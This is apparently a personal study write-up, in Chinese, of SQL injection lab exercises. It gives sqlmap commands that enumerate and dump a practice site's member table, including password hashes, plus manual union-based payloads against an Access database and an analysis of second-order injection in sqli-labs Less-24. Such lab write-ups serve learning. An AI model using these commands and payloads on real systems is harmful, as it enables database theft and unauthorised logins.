基于sql的盲注
之前一直没有好好地学习过sqlmap
的使用方法
如果是针对post表单这种方式
- 可以将抓到的包保存成一个文件,然后使用
sqlmap.py -r "post.txt" -p n --dbs
其中-p
是指定参数 - sqlmap也可以自动搜寻表单
sqlmap.py -u "url" --forms
- 指定参数
趁机学到了一把sqlmap
使用
虽然这个题目是有点。。
但是注入点的判断也是很重要的
爆后端数据库
python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1"
爆数据库
python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs
指定数据库报表爆表
python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs -D stormgroup --tables
指定数据库和表爆字段
python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs -D stormgroup -T member --columns
指定数据库,表,字符然后dump出数据
python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs -D stormgroup -T member -C password --dump
1
2
3
4
5
6
7
8
9Database: stormgroup
Table: member
[2 entries]
+-------+----------------------------------+--------+
| name | password | status |
+-------+----------------------------------+--------+
| mozhe | 3114b433dece9180717f2b7de56b28a3 | 0 |
| mozhe | b7a0bebf8287c87253fb2958a390346a | 1 |
+-------+----------------------------------+--------+
解密之后是106370
这样就能登陆后台了
太神奇了
SQL手工注入漏洞测试(Access数据库)
这道题目就有点神奇了
纯靠猜
order by 4
判断有多少个字段
然后 new_list.asp?id=1 and exists(select * from admin)
判断是否存在admin
接下来判断回显位置/new_list.asp?id=1 union select 1,2,3,4 from admin
接下来猜测字段值and exists (select id from admin)
爆出字段值union select 1,username,passwd,id from admin
md5解密一下登陆就行了
二次注入分析
看一下sqli的第24题
可以注册账号进行登陆,登陆之后可以修改密码。
登陆点尝试注入发现被检测到了,注册的时候尝试注册admin
的账号提示账号已存在
看一下源码(用的docker环境,mysql登陆没有密码)
直接全局搜索username
1 | function sqllogin(){ |
这里使用了mysql_real_escape_string
方法转义数据,导致注入无法发生
但是我们尝试注册
在login_create
中有一处:
1 | root@44662761c057:/var/www/html/Less-24# grep "insert" * |
mysql_escape_string
函数也会转义一些字符比如:
1 |
|
得到Escaped string: Zak\'s Laptop
但是我们尝试注册test'#
成功了?
看下数据库:
1 | mysql> select * from users where username="test'#"; |
很神奇。。
传入的username
已经被成功转义
学习一下mysql_query
返回的是一个资源值
此时构造的sql语句也没问题
然而插入的数据就是有问题
1 | mysql> select * from users; |
这个可真的没办法了。。
有个问题,当我登陆的时候:
sql语句是这样的:"SELECT * FROM users WHERE username='test\'#' and password='111'"
则此时重置密码
"UPDATE users SET PASSWORD='' where username='test'#' and password='111' "
此时我构造用户名test' union selct * from users #
登陆的时候的sql语句如下
"SELECT * FROM users WHERE username='test\' union selct * from users #' and password='111'"
此时还是无法直接注入的,因为单引号被转义无法闭合